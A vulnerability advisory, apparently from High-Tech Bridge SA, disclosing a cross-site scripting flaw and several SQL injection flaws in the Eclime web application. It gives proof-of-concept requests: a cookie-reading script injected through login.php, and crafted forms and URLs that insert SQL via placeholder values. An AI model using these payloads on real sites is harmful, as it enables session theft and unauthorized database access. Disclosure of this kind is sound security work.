High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Eclime which could be exploited to perform cross-site scripting and SQL injection attacks.
Cross-site scripting (XSS) vulnerability in Eclime: CVE-2010-4852
The vulnerability exists due to input sanitation error in the “reason” parameter in login.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/login.php?login=fail&reason=<script>alert(document.cookie);</s cript>
SQL injection vulnerabilities in Eclime: CVE-2010-4851
2.1 The vulnerability exists due to input sanitation errors in the “country” parameter in create_account.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in applications database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database. Exploitation example: <form action="http://[host]/create_account.php" method="post" name="main" > <input type="hidden" name="action" value="process" id="action" /> <input type="hidden" name="email_address" value="[email protected]" /> <input type="hidden" name="password" value="password" /> <input type="hidden" name="confirmation" value="password" /> <input type="hidden" name="gender" value="m" /> <input type="hidden" name="firstname" value="firstname" /> <input type="hidden" name="lastname" value="lastname" /> <input type="hidden" name="dob_month" value="01" /> <input type="hidden" name="dob_day" value="01" /> <input type="hidden" name="dob_year" value="1987" /> <input type="hidden" name="street_address" value="street_address" /> <input type="hidden" name="city" value="city" /> <input type="hidden" name="state" value="state" /> <input type="hidden" name="postcode" value="1234" /> <input type="hidden" name="phoneAreaCode" value="123" /> <input type="hidden" name="phonePrefix" value="123" /> <input type="hidden" name="phoneNumber" value="123" /> <input type="hidden" name="country" value="'SQL_CODE_HERE" /> <input type="submit" value="submit" name="submit" /> </form> 2.2 The vulnerability exists due to input sanitation errors in the "ref" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application
s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/?ref=123%27SQL_CODE_HERE
2.3 The vulnerability exists due to input sanitation errors in the “poll_options_id” and “poll_id” parameters in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action=“http://[host]/index.php?poll_action=vote” method=“post”>
<input name=“poll_options_id” value="1’SQL_CODE_HERE " type=“hidden”>
<input name=“poll_id” type=“hidden” value=“1’SQL_CODE_HERE” >
<input type=“submit” value=“submit” name=“submit” />
</form>